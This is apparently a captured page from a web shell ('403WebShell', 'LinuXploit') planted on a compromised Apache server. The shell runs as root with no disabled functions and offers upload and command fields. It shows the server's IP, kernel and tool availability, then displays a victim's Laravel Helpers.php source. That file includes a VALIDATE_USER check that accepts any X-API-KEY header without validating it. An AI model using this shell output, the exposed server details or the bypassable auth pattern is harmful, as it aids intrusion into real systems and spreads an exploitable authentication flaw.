Uname:Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64

Base Dir : /var/www/machinox.in

User : root


403WebShell
403Webshell
Server IP : 13.235.167.51  /  Your IP : 216.73.217.116
Web Server : Apache
System : Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64
User : root ( 0)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/app.machinox.in/app/Helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app.machinox.in/app/Helpers/Helpers.php
<?php

use App\Models\Branch;
use App\Models\BusinessInfo;
use App\Models\Company;
use App\Models\FlightBooking;
use App\Models\GuestUser;
use App\Models\Organization;
use App\Models\Product;
use App\Models\SubsTransaction;
use App\Models\Transaction;
use App\Models\User;
use App\Models\UserOrg;
use App\Models\UserType;
use Carbon\Carbon;
use Carbon\CarbonImmutable;
use Illuminate\Http\Client\Request;
use Illuminate\Support\Arr;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Request as FacadesRequest;
use Illuminate\Support\Str;
use Nullix\CryptoJsAes\CryptoJsAes;

if (!function_exists('round_amount')) {
    function round_amount($amount, $postion = 2)
    {
        if ($amount) {
            return round($amount, $postion, PHP_ROUND_HALF_UP);
        }

        return 0;
    }
}

function format_currency($amount, $currency = 'USD', $locale = 'en_IN', $asFormatted = true)
{
    if (!is_numeric($amount)) {
        return 0;
    }

    if ($asFormatted) {
        $formatter = new \NumberFormatter($locale, \NumberFormatter::CURRENCY);
        return $formatter->formatCurrency((float) $amount, $currency);
    }

    return round_amount($amount);
}





if (!function_exists('VALIDATE_USER')) {
    function VALIDATE_USER()
    {
        if (!Auth::guard('api')->check()) {
            if (FacadesRequest::hasHeader("X-API-KEY")) {
                return true;
            }
        } else {
            return true;
        }

        return response()->json(["status" => "error", "message" => "Sorry, You do not have permission to this section."], 401);
    }
}


if (!function_exists('checkDialCode')) {
    function checkDialCode($dial_code)
    {
        if ($dial_code && !empty($dial_code)) {
            $dial_code = str_replace(['+', ' ', '-'], '', $dial_code);
            $dial_code = str_replace('++', '', $dial_code);
            $dial_code = '+' . $dial_code;
        }

        return $dial_code;
    }
}

if (!function_exists('getFormattedDateTime')) {
    function getFormattedDateTime($dateTime, $dateFormat = 'Y-m-d H:i:s')
    {
        if (is_null($dateTime) || empty($dateTime)) {
            return;
        }

        $IST = new DateTime($dateTime);

        return $IST->format($dateFormat);
    }
}

if (!function_exists('ADMIN_USER_ID')) {
    function ADMIN_USER_ID()
    {
        if (Auth::guard('admin')->check()) {
            return (Auth::guard('admin')->user()) ? Auth::guard('admin')->user()->id : 0;
        }

        return 1;
    }
}
if (!function_exists('USER_ID')) {
    function USER_ID()
    {
        if (Auth::guard('api')->check()) {
            return (Auth::guard('api')->user()) ? Auth::guard('api')->user()->id : 0;
        }

        return null;
    }
}
if (!function_exists('TENANT_ID')) {
    function TENANT_ID()
    {
        if (Auth::guard('tenant')->check()) {
            return (Auth::guard('tenant')->user()) ? Auth::guard('tenant')->user()->id : 0;
        }

        return 1;
    }
}



if (!function_exists('USER_TYPE')) {
    function USER_TYPE()
    {
        if (Auth::guard('api')->check()) {
            return (Auth::guard('api')->user()) ? Auth::guard('api')->user()->user_type : false;
        }

        return false;
    }
}
if (!function_exists('IS_SUPER_ADMIN')) {
    function IS_SUPER_ADMIN()
    {
        if (Auth::guard('admin')->check()) {
            return (Auth::guard('admin')->user()) ? Auth::guard('admin')->user()->is_super_admin : 0;
        }

        return 0;
    }
}
// if (!function_exists('USER_ID')) {
//     function USER_ID()
//     {
//         if (Auth::guard('api')->check()) {
//             return (Auth::guard('api')->user()) ? Auth::guard('api')->user()->id : 0;
//         }

//         return 0;
//     }
// }

// if (!function_exists('info_encrypt')) {

//     function info_encrypt($name, $passphrase)
//     {
//         if (is_null($name) || empty($name)) {
//             return null;
//         }
//         // echo $name ." >> ".   $passphrase ."<br/>";
//         return CryptoJsAes::encrypt($name, $passphrase);
//     }
// }

if (!function_exists('GET_USER_TYPE')) {
    function GET_USER_TYPE()
    {
        if (Auth::guard('api')->check()) {
            // if (FacadesRequest::hasHeader("x-user-type")) {
            //     $userType = FacadesRequest::header("x-user-type");
            //     return $userType;
            // }

            $userId = (Auth::guard('api')->user()) ? Auth::guard('api')->user()->id : 0;
            $info = User::where('id', $userId)->with(['user_type'])->first();
            if (!$info) {
                return "";
            } else {
                if ($info->user_type != null) {
                    return $info->user_type->user_type;
                }
                return "";
            }
        }
    }
}


// if (!function_exists('info_decrypt')) {

//     function info_decrypt($encrypted, $passphrase)
//     {
//         if (is_null($encrypted) || empty($encrypted) || is_null($passphrase) || empty($passphrase)) {
//             return null;
//         }
//         // dd($passphrase);
//         return CryptoJsAes::decrypt($encrypted, $passphrase);
//     }
// }

if (!function_exists('ValidatePhoneNumber')) {
    function ValidatePhoneNumber($phone_number)
    {
        if (!empty($phone_number)) {
            return ltrim($phone_number, "0");
        }
    }
}



if (!function_exists('getQueries')) {
    function getQueries($queries)
    {
        $sql_query = [];
        if (count($queries) > 0) {
            foreach ($queries as $query) {
                $sql_query[] = Str::replaceArray('?', $query['bindings'], $query['query']);
            }
        }

        return $sql_query;
    }
}
if (!function_exists('toStudlyCase')) {
    function toStudlyCase($string)
    {
        return str_replace(' ', '', ucwords(str_replace('_', ' ', $string)));
    }
}



if (!function_exists('timeAgo')) {
    function timeAgo($time_ago)
    {
        $time_ago = strtotime($time_ago);
        $cur_time = time();
        $time_elapsed = $cur_time - $time_ago;
        $seconds = $time_elapsed;
        $minutes = round($time_elapsed / 60);
        $hours = round($time_elapsed / 3600);
        $days = round($time_elapsed / 86400);
        $weeks = round($time_elapsed / 604800);
        $months = round($time_elapsed / 2600640);
        $years = round($time_elapsed / 31207680);
        // Seconds
        if ($seconds <= 60) {
            return 'just now';
        }
        //Minutes
        elseif ($minutes <= 60) {
            if ($minutes == 1) {
                return 'one minute';
            } else {
                return "$minutes minutes";
            }
        }
        //Hours
        elseif ($hours <= 24) {
            if ($hours == 1) {
                return 'an hour';
            } else {
                return "$hours hours";
            }
        }
        //Days
        elseif ($days <= 7) {
            if ($days == 1) {
                return 'yesterday';
            } else {
                return "$days days";
            }
        }
        //Weeks
        elseif ($weeks <= 4.3) {
            if ($weeks == 1) {
                return 'a week';
            } else {
                return "$weeks weeks";
            }
        }
        //Months
        elseif ($months <= 12) {
            if ($months == 1) {
                return 'a month';
            } else {
                return "$months months";
            }
        }
        //Years
        else {
            if ($years == 1) {
                return 'one year';
            } else {
                return "$years years";
            }
        }
    }
}

if (!function_exists("elapsed_time_ago")) {
    function elapsed_time_ago($dateTime)
    {
        $date = Carbon::createFromFormat('Y-m-d H:i:s', $dateTime, 'UTC');
        $dt = Carbon::parse($date->format("Y-m-d"));
        $difference = $dt->diffInDays();

        $date->setTimezone('Asia/Kolkata');
        if ($difference == 0) {
            return "Today, " . $date->format("h:i A");
        } else if ($difference == 1) {
            return "Yesterday";
        } else {
            return $date->format("d/m/Y");
        }
    }
}

if (!function_exists('IsNullOrEmpty')) {
    function IsNullOrEmpty($param, $force_empty = false)
    {
        if (is_null($param)) {
            if ($force_empty) {
                if (empty($param)) {
                    return '';
                }

                return trim($param);
            }

            return null;
        }

        return trim($param);
    }
}

if (!function_exists('getValue')) {
    function getValue($param, $default = null)
    {
        if (is_null($param) || empty($param)) {
            return $default;
        }

        if (is_string($param)) {
            return trim($param);
        }
        return $param;
    }
}
if (!function_exists('formatBytes')) {

    function formatBytes($bytes, $precision = 2)
    {
        $kilobyte = 1024;
        $megabyte = $kilobyte * 1024;
        $gigabyte = $megabyte * 1024;

        if ($bytes < $kilobyte) {
            return $bytes . ' B';
        } elseif ($bytes < $megabyte) {
            return round($bytes / $kilobyte, $precision) . ' KB';
        } elseif ($bytes < $gigabyte) {
            return round($bytes / $megabyte, $precision) . ' MB';
        } else {
            return round($bytes / $gigabyte, $precision) . ' GB';
        }
    }
}

if (!function_exists('getBoolean')) {
    function getBoolean($param, $default = null)
    {
        if (is_null($param) || empty($param)) {
            return $default;
        }

        return $param == "Y" ? true : false;
    }
}

if (!function_exists('calcDiscountedPercentage')) {
    function calcDiscountedPercentage($original_value, $discounted_value)
    {
        return round(($original_value - $discounted_value) / $original_value * 100, 2, PHP_ROUND_HALF_UP);
    }
}
if (!function_exists('roundAmount')) {
    function roundAmount($amount, $decimal = 2)
    {
        if (is_null($amount) || empty($amount)) {
            return '0.00';
        }
        return (int) $amount;
        // return round($amount, 0, PHP_ROUND_HALF_UP);
    }
}
if (!function_exists('formatAmount')) {
    function formatAmount($amount, $decimal = 2)
    {
        if (is_null($amount) || empty($amount)) {
            return '0.00';
        }

        return (float) number_format($amount, $decimal, '.', '');
    }
}
if (!function_exists('obfuscate_email')) {
    function obfuscate_email($email)
    {
        $em = explode('@', $email);
        $name = implode('@', array_slice($em, 0, count($em) - 1));
        $len = floor(strlen($name) / 2);

        return substr($name, 0, $len) . str_repeat('*', $len) . '@' . end($em);
    }
}

if (!function_exists('formattedAmount')) {
    function formattedAmount($amount)
    {
        if (is_null($amount) || empty($amount)) {
            return '0.00';
        }

        return number_format($amount, 2, '.', ',');
    }
}

if (!function_exists('getLocalDateTime')) {
    function getLocalDateTime($dateTime, $dateFormat = 'Y-m-d H:i:s')
    {

        if (is_null($dateTime) || empty($dateTime)) {
            return;
        }


        // echo $dateTime." >> ". $dateFormat; exit;
        $currentTz = 'UTC';
        $timezone = "IST"; //session('timezone');

        // create a $utc object with the UTC timezone
        $IST = new \DateTime($dateTime, new \DateTimeZone($currentTz));

        // change the timezone of the object without changing it's time
        if (!empty($timezone)) {
            $IST->setTimezone(new \DateTimeZone($timezone));
        }

        // format the datetime
        return $IST->format($dateFormat);
    }
}




function dateDiffInDays($date1)
{
    date_default_timezone_set('Asia/Kolkata');
    // Declare and define two dates
    $date1 = strtotime($date1);
    $date2 = strtotime(date("Y-m-d H:i:s"));

    // Formulate the Difference between two dates
    $diff = abs($date2 - $date1);

    // To get the year divide the resultant date into
    // total seconds in a year (365*60*60*24)
    $years = floor($diff / (365 * 60 * 60 * 24));

    // To get the month, subtract it with years and
    // divide the resultant date into
    // total seconds in a month (30*60*60*24)
    $months = floor(($diff - $years * 365 * 60 * 60 * 24)
        / (30 * 60 * 60 * 24));

    // To get the day, subtract it with years and
    // months and divide the resultant date into
    // total seconds in a days (60*60*24)
    $days = floor(($diff - $years * 365 * 60 * 60 * 24 -
        $months * 30 * 60 * 60 * 24) / (60 * 60 * 24));

    // To get the hour, subtract it with years,
    // months & seconds and divide the resultant
    // date into total seconds in a hours (60*60)
    $hours = floor(($diff - $years * 365 * 60 * 60 * 24
        - $months * 30 * 60 * 60 * 24 - $days * 60 * 60 * 24)
        / (60 * 60));

    // To get the minutes, subtract it with years,
    // months, seconds and hours and divide the
    // resultant date into total seconds i.e. 60
    $minutes = floor(($diff - $years * 365 * 60 * 60 * 24
        - $months * 30 * 60 * 60 * 24 - $days * 60 * 60 * 24
        - $hours * 60 * 60) / 60);

    // To get the minutes, subtract it with years,
    // months, seconds, hours and minutes
    $seconds = floor(($diff - $years * 365 * 60 * 60 * 24
        - $months * 30 * 60 * 60 * 24 - $days * 60 * 60 * 24
        - $hours * 60 * 60 - $minutes * 60));

    return date("Y-m-d " . $hours . ":" . $minutes . ":" . $seconds);
}
function remainingTime($date)
{
    date_default_timezone_set('Asia/Kolkata');
    // Declare and define two dates
    $date1 = strtotime(date("Y-m-d H:i:s"));
    $date2 = strtotime($date);

    // Formulate the Difference between two dates
    $diff = abs($date2 - $date1);

    // To get the year divide the resultant date into
    // total seconds in a year (365*60*60*24)
    $years = floor($diff / (365 * 60 * 60 * 24));

    // To get the month, subtract it with years and
    // divide the resultant date into
    // total seconds in a month (30*60*60*24)
    $months = floor(($diff - $years * 365 * 60 * 60 * 24)
        / (30 * 60 * 60 * 24));

    // To get the day, subtract it with years and
    // months and divide the resultant date into
    // total seconds in a days (60*60*24)
    $days = floor(($diff - $years * 365 * 60 * 60 * 24 -
        $months * 30 * 60 * 60 * 24) / (60 * 60 * 24));

    // To get the hour, subtract it with years,
    // months & seconds and divide the resultant
    // date into total seconds in a hours (60*60)
    $hours = floor(($diff - $years * 365 * 60 * 60 * 24
        - $months * 30 * 60 * 60 * 24 - $days * 60 * 60 * 24)
        / (60 * 60));

    // To get the minutes, subtract it with years,
    // months, seconds and hours and divide the
    // resultant date into total seconds i.e. 60
    $minutes = floor(($diff - $years * 365 * 60 * 60 * 24
        - $months * 30 * 60 * 60 * 24 - $days * 60 * 60 * 24
        - $hours * 60 * 60) / 60);

    // To get the minutes, subtract it with years,
    // months, seconds, hours and minutes
    $seconds = floor(($diff - $years * 365 * 60 * 60 * 24
        - $months * 30 * 60 * 60 * 24 - $days * 60 * 60 * 24
        - $hours * 60 * 60 - $minutes * 60));

    return date("Y-m-d " . $hours . ":" . $minutes . ":" . $seconds);
}


if (!function_exists('PriceCalculation')) {
    function PriceCalculation($amount, $tax = 0.00)
    {
        if ($amount) {
            if ($tax > 0) {
                $tax = $tax / 100;
            }
            $totalTax = $amount * $tax;
            return $amount + $totalTax;
        }
        return 0.00;
    }
}
if (!function_exists('calculateDays')) {
    function calculateDays($date)
    {
        $endDate = new DateTime($date);
        $today = new DateTime();

        if ($endDate < $today) {
            return 0;
        }
        $interval = $today->diff($endDate);
        return $interval->days;
    }
}
if (!function_exists('TaxCalculation')) {
    function TaxCalculation($amount, $tax = 0.00)
    {
        if ($tax > 0) {
            $value = $tax / 100;
            $totalTax = $amount * $value;
            return $totalTax;
        }
        return 0.00;
    }
}
if (!function_exists('countWithPrefix')) {
    function countWithPrefix($number)
    {
        $ends = ['th', 'st', 'nd', 'rd', 'th', 'th', 'th', 'th', 'th', 'th'];
        if ((($number % 100) >= 11) && (($number % 100) <= 13))
            return $number . 'th';
        else
            return $number . $ends[$number % 10];
    }
}

if (!function_exists('calculateDueDate')) {
    function calculateDueDate($created_at, $duration)
    {
        // Create DateTime object from $created_at
        $date = new DateTime($created_at);
        // Define an array to map types to days
        // $typeToDays = array(
        //     "ONE_WEEK" => 7,
        //     "ONE_MONTH" => 30,
        //     "SIX_MONTH" => 180,
        //     "ONE_YEAR" => 365,
        //     "TWO_YEAR" => 730
        // );
        // // Check if type exists in the array
        // if (array_key_exists($type, $typeToDays)) {
        //     // Add corresponding number of days to the date
        //     $date->modify('+' . $typeToDays[$type] . ' days');
        //     return $date->format('Y-m-d');
        // }

        $value = (int) $duration;
        if (is_int($value) && $value > 0) {
            $date->modify('+' . $duration . ' days');
            return $date->format('Y-m-d');
        }
        return null;
    }
}
if (!function_exists('calculateEndDate')) {
    function calculateEndDate($currentDate, $duration)
    {
        // Define the start date
        $startDate = new DateTime($currentDate);
        $startDate->modify("+$duration days");
        $endDate = $startDate->format('Y-m-d');

        return $endDate;
    }
}
// if (!function_exists('generateUniqueAppRef')) {
//     function generateUniqueAppRef(string $prefix, int $min = 11, int $max = 16, string $for = "BOOKING"): string
//     {
//         do {
//             $randomLength = rand($min, $max);
//             $ref = strtoupper($prefix . '-' . Str::random($randomLength)); // string concat after
//             if ($for === "BOOKING") {
//                 $exists = FlightBooking::where('app_ref', $ref)->exists();
//             } elseif ($for === "TRANSACTION") {
//                 $exists = Transaction::where('trx_id', $ref)->exists();
//             } elseif ($for === "CAB") {
//                 $exists = Transaction::where('trx_id', $ref)->exists();
//             } elseif ($for === "MEMBERSHIP") {
//                 $exists = SubsTransaction::where('trx_id', $ref)->exists();
//             } else {
//                 $exists = false;
//             }
//         } while ($exists);

//         return $ref;
//     }
// }
if (!function_exists('getFinalMatchedObject')) {
    function getFinalMatchedObject($bookinginfo, $matchedIds)
    {
        $rooms = data_get($bookinginfo, 'basic_detail.room_list.HotelRoomsDetails', []);
        if ($rooms) {
            return collect($rooms)->filter(function ($room) use ($matchedIds) {
                return in_array($room->RoomUniqueId, (array) $matchedIds);
            })->map(function ($room) {
                return $room;
            })->values()->all();
        }

        return [];
    }
}
    if (!function_exists('getEndDateByDuration')) {
        function getEndDateByDuration(string $duration, Carbon $startDate): Carbon
        {
            // Use immutable copy to avoid mutating original object
            $date = CarbonImmutable::instance($startDate);

            $result = match (strtoupper($duration)) {
                'DAILY'         => $date->addDay(),
                'WEEKLY'        => $date->addWeek(),
                'MONTHLY'       => $date->addMonth(),
                'QUARTERLY'     => $date->addMonths(3),
                'HALF_YEARLY'   => $date->addMonths(6),
                'ANNUALLY'        => $date->addYear(),
                default         => $date->addDays(30)
            };
            return $result->toMutable(); // convert back to Carbon (mutable) if needed
        }

    }


Youez - 2016 - github.com/yon3zu
LinuXploit